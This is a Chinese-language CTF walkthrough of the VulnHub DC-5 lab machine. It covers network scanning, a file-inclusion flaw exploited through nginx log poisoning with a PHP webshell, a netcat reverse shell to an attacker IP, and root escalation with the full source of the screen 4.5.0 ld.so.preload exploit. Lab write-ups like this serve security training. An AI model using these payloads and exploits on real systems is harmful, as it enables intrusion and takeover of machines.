DC-5靶机

0# 下载安装
靶场下载地址:https://download.vulnhub.com/dc/DC-5.zip

信息收集

存后活主机探测

nmap -sP 192.168.124.0/24

在这里插入图片描述

端口服务探测

nmap -A 192.168.124.25

在这里插入图片描述
全端口扫描

nmap -sS 192.168.124.25 -p 1-65535

在这里插入图片描述

目录扫描

python3 dirsearch.py -u http://192.168.124.25/ -e* -i 200

在这里插入图片描述

网站服务探测

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
猜测可能存在文件包含

漏洞发现及利用

文件包含

1.使用bp 爆破变量名
在这里插入图片描述

得到其变量名为file
在这里插入图片描述
上传执行木马
文件包含会将包含文件中的php 代码执行,可以通过在系统日志中写入代码,在通过文件文件包含系统日志文件去执行相关php代码

找到系统日志文件
/var/log/nginx/access.log

将一句话木马写入日志文件
在这里插入图片描述
尝试使用蚁剑连接

在这里插入图片描述
连接成功

在这里插入图片描述

反弹shell

 nc -e /bin/bash 192.168.1.164 2333

在这里插入图片描述
反弹成功

 nc -lvvp 2333
 python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

提权

查找具有SUID 标志的命令

find / -perm -4000 2>/dev/null

在这里插入图片描述
发现screen 4.5.0 存在一个本地特权提升的漏洞
在这里插入图片描述

cp/usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
cat 41154.sh

kali 在当前目录下开启http 服务

 python -m SimpleHTTPServer 80

在/tmp 目录下下载wenjian

wget http://192.168.1.164:8000/41154.sh

给执行权限

 chmod 777 41154.sh

执行失
打开41154.sh 脚本文件,尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下
查看脚本
----libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
     chown("/tmp/rootshell", 0, 0);
     chmod("/tmp/rootshell", 04755);
     unlink("/etc/ld.so.preload");
     printf("[+] done!\n");
    }

编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

-------rootshell.c

  #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }

编译,生成rootshell 文件

gcc -o rootshell rootshell.c

----getshel.sh

   #!/bin/bash 
    # screenroot.sh  
    # setuid screen v4.5.0 local root exploit   
    # abuses ld.so.preload overwriting to get root.   
    # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html  
    # HACK THE PLANET  
    # ~ infodox (25/1/2017)  
    echo "[+] Now we create our /etc/ld.so.preload file..." 
    cd /etc
    umask 000 # because
    screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
    echo "[+] Triggering..."
    screen -ls # screen itself is setuid, so...
    /tmp/rootshell

本地开启http服务

python -m SimpleHTTPServer 80 

靶机/tmp 目录下远程下载

wget http://192.168.1.164:8000/rootshell
wget http://192.168.1.164:8000/libhax.so
wget http://192.168.1.164:8000/getshel.sh

运行getshel.sh 文件,进行提权
提权成功,拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值